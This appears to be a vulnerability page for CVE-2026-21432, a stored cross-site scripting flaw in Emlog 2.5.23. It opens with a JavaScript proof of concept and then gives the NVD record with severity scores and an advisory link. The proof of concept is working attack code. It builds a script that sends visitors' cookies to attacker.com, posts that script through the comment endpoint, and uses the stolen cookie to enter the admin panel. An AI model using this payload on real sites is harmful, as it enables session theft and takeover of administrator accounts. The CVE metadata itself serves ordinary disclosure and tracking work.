CVE-2026-21432

// CVE-2026-21432 Stored XSS PoC for Emlog 2.5.23 // Attack vector: Inject malicious JavaScript in comment/content field // Step 1: Prepare the XSS payload const xssPayload = '<script>\n' + 'fetch("https://attacker.com/steal?c=" + encodeURIComponent(document.cookie));\n' + '</script>'; // Step 2: Submit the payload (requires low-privilege account) // POST request to comment submission endpoint const submitComment = async (targetUrl, sessionCookie) => { const response = await fetch(targetUrl + '/admin/comment.php?action=add', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': sessionCookie }, body: `content=${encodeURIComponent(xssPayload)}&gid=1` }); return response.status; }; // Step 3: Wait for victim to visit the page with stored XSS // The malicious script will execute and exfiltrate cookies // Step 4: Use stolen cookies to hijack account const hijackAccount = async (stolenCookie) => { // Set stolen cookie and access admin panel document.cookie = stolenCookie; window.location.href = '/admin/'; }; console.log('XSS Payload prepared:', xssPayload); console.log('Submit to Emlog 2.5.23 comment field');

{"cve": {"id": "CVE-2026-21432", "sourceIdentifier": "[email protected]", "published": "2026-01-02T19:15:48.020", "lastModified": "2026-01-16T17:13:09.323", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Emlog is an open source website building system. Version 2.5.23 has a stored cross-site scripting vulnerability that can lead to account takeover, including takeover of admin accounts. As of time of publication, no known patched versions are available."}, {"lang": "es", "value": "Emlog es un sistema de creación de sitios web de código abierto. La versión 2.5.23 tiene una vulnerabilidad de cross-site scripting almacenado que puede llevar a la toma de control de cuentas, incluyendo la toma de control de cuentas de administrador. A la fecha de publicación, no hay versiones parcheadas conocidas disponibles."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:emlog:emlog:2.5.23:*:*:*:pro:*:*:*", "matchCriteriaId": "CBBD3D75-C2B3-4727-9B9E-6408956E4ADB"}]}]}], "references": [{"url": "https://github.com/emlog/emlog/security/advisories/GHSA-4rxf-mjqx-c464", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}